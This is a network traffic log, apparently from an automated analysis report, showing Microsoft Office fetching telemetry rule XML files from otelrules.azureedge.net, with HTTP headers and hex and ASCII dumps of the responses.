2024-11-20 02:21:54 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:54 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:54 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022154Z-r1d97b99577jlrkbhC1TEBq8d0000000081g00000000f3dh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:54 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:54 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:54 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022154Z-r1d97b99577jlrkbhC1TEBq8d0000000085g000000004rp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:54 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:54 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022154Z-1777c6cb754xlpjshC1TEBv8cc000000091000000000kshv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:54 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022154Z-185f5d8b95cdtclvhC1NYC4rmc00000009tg000000005dbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:55 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-1777c6cb754rz2pghC1TEBghen00000008vg00000000bmg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-r1d97b99577ndm4rhC1TEBf0ps00000008b0000000009cyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:55 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-1777c6cb7544nvmshC1TEBf7qc00000008pg00000000q435 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:55 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:55 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-185f5d8b95cf7qddhC1NYC66an00000009qg000000008773 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-185f5d8b95cwtv72hC1NYC141w00000009fg00000000hu32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-185f5d8b95cdtclvhC1NYC4rmc00000009q000000000nrhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-1777c6cb754whff4hC1TEBcd6c00000007q000000000217t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:56 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022155Z-185f5d8b95cdcwrthC1NYCy5b800000009k000000000f1ba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
